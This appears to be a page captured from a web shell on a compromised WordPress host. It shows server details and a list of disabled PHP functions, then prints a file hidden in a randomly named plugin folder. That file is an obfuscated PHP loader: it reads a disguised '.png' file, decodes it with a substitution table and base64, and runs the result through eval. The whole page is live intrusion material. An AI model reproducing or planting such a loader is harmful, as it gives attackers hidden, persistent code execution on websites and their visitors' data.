HEX
Server: Apache
System: Linux gains.linuxbigapps.com 4.18.0-553.74.1.lve.el8.x86_64 #1 SMP Tue Sep 9 14:25:24 UTC 2025 x86_64
User: mountains (1551)
PHP: 8.0.30
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mountains/domains/mountainsofhope.org/public_html/wp-content/plugins/achuthishada/dejebu.txt
<?php

function mevaru_binukhizeq($avilef_napysevuh) {
    if ($avilef_napysevuh == 1)
        return sepolo_tushuban();
    if ($avilef_napysevuh == 2)
        return usahys_khushitur();
}

function cikeho_ithydishosha($avilef_napysevuh) {
    $quhychi = mevaru_binukhizeq(1);
    $xehawor = mevaru_binukhizeq(2);
    for ($ythoheb = 0; $ythoheb < strlen($quhychi); $ythoheb++) {
        $fethepa = substr($quhychi, $ythoheb, 1);
        $thuqiky = substr($xehawor, $ythoheb, 1);
        $cenebu[$fethepa] = $thuqiky;
    }

    $zofufa = strtr($avilef_napysevuh, $cenebu);
    $zofufa = base64_decode($zofufa);

    return $zofufa;
}

function ysixeq_mipakaqi($avilef_napysevuh) {
    $vesabif = array();
    if (!file_exists($avilef_napysevuh))
        return false;
    $cynamyg = @file_get_contents($avilef_napysevuh);
    if (!$cynamyg)
        return false;
    $cynamyg = substr($cynamyg, 3);
    $vesabif = cikeho_ithydishosha($cynamyg);
    return $vesabif;
}

function sepolo_tushuban() {
    $cynamyg = "MuyTzYf+cteHLbqIPNhgm7QCi6dB9KwWja3G5vS2XF=x/nks41R0prlAVEoDOJZ8U";
    return $cynamyg;
}

function usahys_khushitur() {
    $vesabif = "Tt7EHWrxnVI8bFBSP0vyNLsGpjJ5mUqO9zae46R/2fd+hX3QA1ocZkMiKDuCwgY=l";
    return $vesabif;
}

$hajaqyp = ysixeq_mipakaqi(__DIR__ . "/asse" . "ts/ima" . "ges/ag" . "ewys" . ".png");
if ($hajaqyp) {
    @eval($hajaqyp);
}